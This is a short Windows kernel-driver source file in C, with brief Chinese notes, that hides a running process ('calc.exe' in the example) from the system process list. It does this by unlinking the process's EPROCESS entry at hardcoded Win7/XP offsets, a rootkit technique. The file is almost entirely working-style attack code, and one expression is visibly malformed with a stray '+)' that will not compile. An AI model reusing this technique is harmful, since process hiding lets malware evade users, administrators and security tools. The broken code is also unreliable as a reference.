HideProcess

 #ifndef CXX_HIDEPROCESS_H
 #    include "HideProcess.h"
 #endif

 #ifdef _WIN64
 #define  ActiveProcessLinksOffset_EPROCESS  0x188
 #define  ImageFileNameOffset_EPROCESS       0x2e0
 #else
 #define  ActiveProcessLinksOffset_EPROCESS  0x088
 #define  ImageFileNameOffset_EPROCESS       0x174
 #endif

 NTSTATUS  DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
 {

     //卸载当前驱动例程
     DriverObject->DriverUnload = UnloadDriver;
     HideProcess("calc.exe");
     return STATUS_SUCCESS;
 }

 VOID  UnloadDriver(PDRIVER_OBJECT DriverObject)
 {

 }

 VOID HideProcess(char* szProcessName)
 {

     PLIST_ENTRY  ListEntry = NULL;
     PEPROCESS  EProcess = NULL;
     char*       szName = NULL;
     PEPROCESS  TravelEProcess = NULL;
     PEPROCESS  BadEProcess = NULL;
     EProcess = IoGetCurrentProcess();   // System.exe

     if (szProcessName==NULL)
     {
         return;
     }
     if (EProcess==NULL)
     {
         return;
     }
     TravelEProcess = EProcess;

     BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+)))-0x188);

     do
     {

         if (TravelEProcess!=BadEProcess)
         {
             szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS);   //Next
             DbgPrint("%s\r\n",szName);

             if (strstr(szName,szProcessName)!=NULL)
             {
                 RemoveEntryList(ListEntry);   //

                 break;
             }
         }

         TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
         ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
     }while (TravelEProcess!=EProcess);
 }

代码

使用断链操作隐藏进程

win7：

0x188 处 _LIST_ENTRY  一个16位的结构体

0x2e0处存储进程名称

winxp同理